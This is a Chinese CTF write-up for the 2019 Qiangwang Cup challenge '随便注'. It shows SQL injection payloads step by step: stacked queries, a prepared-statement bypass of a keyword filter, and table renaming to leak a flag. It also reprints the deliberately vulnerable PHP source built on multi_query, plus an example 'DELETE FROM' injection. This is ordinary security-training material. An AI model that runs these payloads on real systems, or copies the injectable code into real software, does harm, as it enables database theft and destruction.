[强网杯 2019]随便注

Posted dra_p0p3n

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[强网杯 2019]随便注相关的知识,希望对你有一定的参考价值。

写在前面

坚持第三天了,又是个sql注入,不过看这名字就不简单,进入靶机,大家看看这话说的,牛逼哄哄的,一看就是个久经沙场的高手,还是个强网杯的题,菜鸡瑟瑟发抖
显然,这题也不搞花里胡哨的,直接告诉就让你去注了,预感到可能会有点难,边写边做吧,提前需要学下数据库知识,还好自己上学期刚刚学了,什么语法啊,什么自主访问控制并发控制意向锁啥的还是记得一点,其实涉及到注入的语法不难,但是都要搞懂才能做题,csdn上就有文章还不错,建议学一学再看。

前期工作

这部分是通用的数据库注入步骤,首先测一下数据库结构

payload= 1'              //报错
payload= 1'#             //不报错,这里就可以判断是字符型注入
payload= 1' or 1=1#      //万能密码,不报错,返回为真
payload= 1' and 1=2#     //不报错,返回为假,无结果,验证猜想

尝试通过order by爆数据库列数,order by的意思是按照第几列的顺序将结果排序,这里由于查到的本来就是空,所以正确也无结果

payload='order by 1  //不报错,无结果
payload='order by 2  //不报错,无结果
payload='order by 3  //报错


所以列数是2,下面尝试用union select试一试,union select就是把这条语句后面的语句和前面的正常语句一起查询,貌似这条语句在正常查询的时候没什么用,倒是为了注入提供了不少方便,这里直接1,2,3返回也是原样返回,不会查询,这里仅仅只是看能不能联合查询

payload= 1' union select 1,2,3#

但是返回了个这

return preg_match("/select|update|delete|drop|insert|where|\\./i",$inject);

这个是php中的过滤语句

preg_match( p a t t e r n , pattern, pattern,subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])
参数说明如下:
$pattern:要搜索的模式,也就是编辑好的正则表达式;
$subject:要搜索的字符串;
preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

也就是这里面的东西不能出现,开始以为可以通过大小写绕过,sql语句不区分大小写,但是也不行,因为这个匹配只要错误就退出,所以这些绕过是没用的,这里进入了知识盲区,不愧是强网杯,百度一下之后有一个新的名词,那么这一步能做出来要全凭积累

堆叠注入查flag位置

堆叠注入也就是几条语句在一起,不用联合查询那样畏畏缩缩在躲着查了,直接再起一个语句查询,原理如下

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

假设正常查询语句如下:

select * from '$a'; //这是原语句
select * from '1' union select possword from pwd#'  //这是联合查询注入 payload是最前最后两个引号中间的那段
select * from '1'; show databases;#'//这是堆叠注入 payload也是最前最后两个引号中间的那段

可以看到堆叠注入远比联合查询灵活,因为它不再仅限于查询,还可以执行修改等语句,这里先验证是否可行

payload=1';show databases;#

我后面会分析具体语句的结构,这里先看结果

注出来了,说明有效,这就是堆叠注入的优势,可以用show databases;这句话,你躲在联合查询的后面就不行,因为那样会出语法问题,从上面的例子也可以看出,同理利用show tables看表名,这里是当前数据库的表,不过你要登录连接数据库那么当前数据库一般都是那个存密码的数据库吧,这里抓住它的show没过滤简直利用到极致,也不知道要是这个也过滤了大神还有什么办法

payload=1';show columns from `1919810931114514`;#

注意表名要反引号,为什么呢,因为对以数字为表名的表进行操作时,需要加上`符号,看网上还有一种方法是使用desc直接列出列名,这也就是不同的绕过姿势,拿本本记下来
这样就注出列名

这里我们就知道了flag存在于supersqli数据库中的1919810931114514表的flag字段,这就是我们前面的工作,知道flag在哪里,后面就要想办法绕过select过滤拿到flag

花式绕过读取flag

这里有两种方式,都学着,指不定哪天就用上了,还有一种什么改hander的方式,个人认为太偏门,就不记录了,由于这些过滤,正常查询是不可能了只能玩一些花出来

预编译

这纯粹是用堆叠注入的特性,没堆叠注入就别想预编译了,由于已知堆叠注入,那就可以执行很多条语句来达到我们的效果,payload如下,也就是去执行拼接select的语句,因为这里双写,大小写都绕不过,只能用这种比较高级的方式

payload=-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare injection from @sql;
execute injection;
#

具体代码示例如下

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句

这里碰到了如下检测

strstr只是简单匹配,和前面那个匹配的过滤不是一个等级的,改为大小写或者双写绕过即可

改表名

灵感来源于默认输出,正常输入1,输出的这个玩意儿是什么呢

别忘了还有个漏网之鱼,当时这个tables还没看

注出这里面的列之后,是不是很眼熟

那我们思路就清晰了,只要把那边读不出来的部分复制过来让它默认输出不就行了

payload=1';rename table `words` to sb; 
  		rename table `1919810931114514` to `words`;
  		alter table words change flag id varchar(100);
  		show tables; 
  		show columns from words;# 

这里因为flag所在的表只有一列,而这个words表有两列,且查询的时候是按照id去查,所以这里直接吧flag改为id字段,而不是data字段,否则会报没有id这个字段的错误,当然改为data也可以,不过就要加上一列了,那又复杂了,所以就按简单的来,搞完之后万能密码1’ or 1=1#即可注出

源码分析

github上白嫖本题环境,美滋滋

<html>
<head>
    <meta charset="UTF-8">
    <title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
    姿势: <input type="text" name="inject" value="1">
    <input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
    preg_match("/select|update|delete|drop|insert|where|\\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\\./i",$inject);');
}
function waf2($inject) {
    strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
    $id = $_GET['inject'];
    waf1($id);
    waf2($id);
    $mysqli = new mysqli("127.0.0.1","root","root","supersqli");
    //多条sql语句
    $sql = "select * from `words` where id = '$id';";
    $res = $mysqli->multi_query($sql);
    if ($res){//使用multi_query()执行一条或多条sql语句
      do{
        if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
          while ($row = $rs->fetch_row()){
            var_dump($row);
            echo "<br>";
          }
          $rs->Close(); //关闭结果集
          if ($mysqli->more_results()){  //判断是否还有更多结果集
            echo "<hr>";
          }
        }
      }while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
    } else {
      echo "error ".$mysqli->errno." : ".$mysqli->error;
    }
    $mysqli->close();  //关闭数据库连接
}
?>
</pre>
</body>
</html>

可以看到堆叠注入的关键如下

$res = $mysqli->multi_query($sql);

必须要有这条语句才能执行多条sql,当然这是从源码的角度,以后如果有源码,看到multi_query就要小心了,但如果从我们攻击者的角度,不知道源码的情况下只能是都尝试一下,由于这个环境装起来比较简单,只需要phpstudy开个数据库,把这个代码放到网页上某个php文件再去访问就行了所以这里就不自己搭了,buuctf上的就挺好用,偷个懒哈哈哈~

以上是关于[强网杯 2019]随便注的主要内容,如果未能解决你的问题,请参考以下文章

[强网杯 2019]随便注

[强网杯 2019]随便注

BUUCTF-[强网杯 2019]随便注

[强网杯 2019]随便注

强网杯 2019]随便注(堆叠注入,Prepareexecutedeallocate)

[BUUOJ记录] [强网杯 2019]随便注(三种方法)